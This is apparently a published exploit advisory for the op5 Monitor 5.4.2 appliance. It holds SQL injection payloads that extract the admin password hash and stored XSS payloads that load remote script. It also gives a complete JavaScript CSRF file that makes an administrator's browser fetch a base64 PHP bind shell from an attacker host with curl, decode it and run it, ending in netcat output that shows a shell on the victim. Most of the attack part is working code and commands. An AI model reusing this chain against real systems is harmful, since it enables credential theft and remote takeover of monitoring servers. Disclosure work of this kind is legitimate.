# Author: loneferret of Offensive Security# Product: op5 Monitoring (VM appliance)# Version: 5.4.2# Vendor Site: http://www.op5.com/# Software Download: http://www.op5.com/get-op5-monitor/get-started/# Software Description:# op5 is a market leading developer of Open Source Management solutions. # op5 develops and delivers enterprise-class software for monitoring and administration # of the whole IT, from hardware and software all the way to virtual or cloud based services. # The solutions comes in a fully supported package called op5 Monitor. The architecture # supports scalability from the small and business critical IT to the very large IT with # tens of thousands of actively controlled services.# Vulnerabilities:# SQL Injection# Cross Site Request Forgery# Stored XSS# Description path to Shell:# Several vulnerabilities are present in this software. All of which need different # levels of authentication. SQLi, CSRF and Stored XSS are present and can be # triggered giving variant degrees of results. From interesting to just plain annoying.## But most interesting is the admin's (or the default monitor user) ability to run# shell commands from the web-interface. Although these commands are limited, it is# still possible to get a shell providing some conditions are met.## As all of the vulnerabilities are post-authentication, it assumes the attacker is# a user with access to the web application. In this case, a low-privilege user is enough to # get the ball rolling in getting a shell. With enough access our "disgruntled employee"# can leverage the XSS & CSRF vulnerabilities and trick the higher privileged users to # setup a Bind-Shell.# SQLi PoC 1:# Minimum Access Rights needed: authorized_for_all_hosts# Page: /index.php/status/hostgroup_grid?items_per_page=# Original SQL statement called: select * from hostgroup limit 0 union 10 offset 0# Injection point: select * from hostgroup limit 0 union <HERE> offset 0# Payload: 0' union select 1,2,3,4,5,6,7--# Get password hash for user with '1' (usually monitor)# hostgroup_grid?items_per_page=0 union select 1,2,(select password from users where id=1),4,5,6,7--# mysql> describe users;# +---------------+------------------+------+-----+----------+----------------+# | Field | Type | Null | Key | Default| Extra|# +---------------+------------------+------+-----+----------+----------------+# | id| int(11) unsigned | NO | PRI | NULL | auto_increment | # | realname| varchar(100) | NO | | NULL || # | email | varchar(127) | NO | | NULL || # | username| varchar(100) | NO | UNI ||| # | password_algo | varchar(20)| NO | | b64_sha1 || # | password| varchar(50)| NO | | NULL || # | logins| int(10) unsigned | NO | | 0|| # | last_login| int(10) unsigned | YES| | NULL || # +---------------+------------------+------+-----+----------+----------------+# SQLi PoC 2:# Page: all?items_per_page=# https://victim/monitor/index.php/status/service/all?items_per_page=25,0--# Stored XSS PoC:# Minimum Access Rights needed: authorized_for_all_hosts# authorized_for_all_host_commands# Page: /index.php/command/submit?host=[SYSTEM-NAME]&service=&cmd_typ=ADD_HOST_COMMENT# In the Comment input field# Payload: <script>alert(document.cookie);</script># <iframe src="http://something.html></iframe># <script src="http://attacker/xss.js></script>## Setup for shell# With some explanations...# Step 1: XSS# Payload in Host Comment: <script src="http://attacker/op5-shell.js"></script> # Step 2: Create JavaScript file to download shell file.# op5-shell.js File#
function triggerShell(){
var url ="https://victim/monitor/op5/nacoma/command_test.php?cmd_str=ifconfig;";
url +="curl http://attcker/b64shell.txt > /tmp/b64Bind.txt;"
url +="base64 -d /tmp/b64Bind.txt > /tmp/hell.txt;php /tmp/hell.txt";
var request = new XMLHttpRequest();
request.open('GET', url, false);
request.send(null);}
function setupConf(){// The admin needs to visit this page at least once,in order to get the CSRF to work and// call the 'command_test.php?cmd_str'and issue commands. Once the page has been
// successfully called, we request our malicious link.
var request = new XMLHttpRequest();
request.open('GET','https://victim/monitor/index.php/configuration/configure', false);
request.send(null);if(request.status ===200){
triggerShell();}}
setupConf();## End of file# Step 3:# netcat into victim on port 4444# Well that's pretty much it. Once the administrator looks at the comment page associated with# the machine the XSS is triggered and things happen. The fun part is, even if the comment# is deleted, it's saved in the logs. So when that is visited the the Bind-Shell is# triggered once again. It's actually a pain to get rid of once it's there.## Shell commands from the Web-Interface:# These are very limited in regards of rights and privileges. The commands aren't run# directly froma command shell but rather using a small complied script call "asmonitor".# All the commands, from a shell's standpoint, are run with the "monitor" user.# bash-3.2$ /usr/bin/asmonitor # usage: asmonitor arg1 arg2 arg3 argn...# Chaining multiple commands is not permitted and only the first command will succeed # with the second one failing. Also commands requiring multiple parameters, such# as 'wget' will also fail. As "asmonitor" mistakes options as commands due to the spaces# between them.# One way to circumvent this limitation of multiple commands is with the " ; " character.# Example, "ifconfig ifconfig" will not work, with only the first "ifconfig" to successfully# execute. Placing "ifconfig;ifconfig" in the web-interfaces's input box will result in# both commands executing. This leads us to deduce the second 'ifconfig' is not running# in a jailed environment. Providing us with a greater arsenal of commands available to us.## Unfortunately due to rights restriction, we can't just download a file directly to our webroot.# We do have a few rights in the /tmp folder. Unfortunately we can't just download a file# file there either. This is what "wget" with the "-o" options gives:# Command:# ifconfig;wget http://attacker/xss.js -o /tmp/test.txt# --2012-08-22 04:03:46--http://172.16.194.188/xss.js# Connecting to 172.16.194.188:80... connected.# HTTP request sent, awaiting response... 200 OK# Length: 14 [application/javascript]# xss.js: Permission denied## Cannot write to `xss.js' (Permission denied).# We can however save the output of a file called remotely using 'curl'.# Command:# curl http://attacker/remote.txt > /tmp/test.txt|# bash-3.2$ cat test.txt #% Total% Received % XferdAverage Speed TimeTime TimeCurrent# DloadUpload Total SpentLeftSpeed#0230230 0186680 --:--:-- --:--:-- --:--:-- 0# Content of Remote file# Well it's not perfect, and we still can't download a shell since the all that # transfer information gets in the way of any PHP tags. We can however output text, # which would be our shell code base64 encoded. This way curl will just display content# of the file.# Command:# curl http://attcker/b64shell.txt > /tmp/b64Bind.txt;base64 -d /tmp/b64Bind.txt > /tmp/hell.txt|# bash-3.2$ cat b64Bind.txt # PD9waHAJCQoJCQlAc2V0X3RpbWVfbGltaXQoMCk7IEB.... and so on.# From here, using our jailbroken "shell" from the web interface, it's a simple# matter of decoding it [base64 -d /tmp/b64Bind.txt > /tmp/hell.txt]. # Command:|# bash-3.2$ cat hell.txt # < ?php # @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);# .# .# .# ? ># Luckily for us we can execute some stuff as well from our web interface.# From here we simply call our PHP shell using the "php" command, this should open# us port 4444 give provide us with a shell on the system.|# Victim Machine:# bash-3.2$ netstat -antp | grep 4444# (Not all processes could be identified, non-owned process info# will not be shown, you would have to be root to see it all.)# tcp00 0.0.0.0:44440.0.0.0:* LISTEN9432/php# Attacking Machine:# root@harvey:~# ifconfig eth2# eth2 Link encap:EthernetHWaddr 00:50:56:3b:4b:ad#inet addr:172.16.194.188Bcast:172.16.194.255Mask:255.255.255.0#inet6 addr: fe80::250:56ff:fe3b:4bad/64 Scope:Link#UP BROADCAST RUNNING MULTICASTMTU:1500Metric:1#RX packets:160217 errors:0 dropped:0 overruns:0 frame:0#TX packets:205140 errors:0 dropped:0 overruns:0 carrier:0#collisions:0 txqueuelen:1000 #RX bytes:32606164 (32.6 MB)TX bytes:140956811 (140.9 MB)#Interrupt:19 Base address:0x2080 |# root@harvey:~# nc -vn 172.16.194.198 4444# (UNKNOWN) [172.16.194.198] 4444 (?) open# whoami# apache# uname -a# Linux op5-system 2.6.18-164.11.1.el5 #1 SMP Wed Jan 20 07:32:21 EST 2010 x86_64 x86_64 x86_64 GNU/Linux
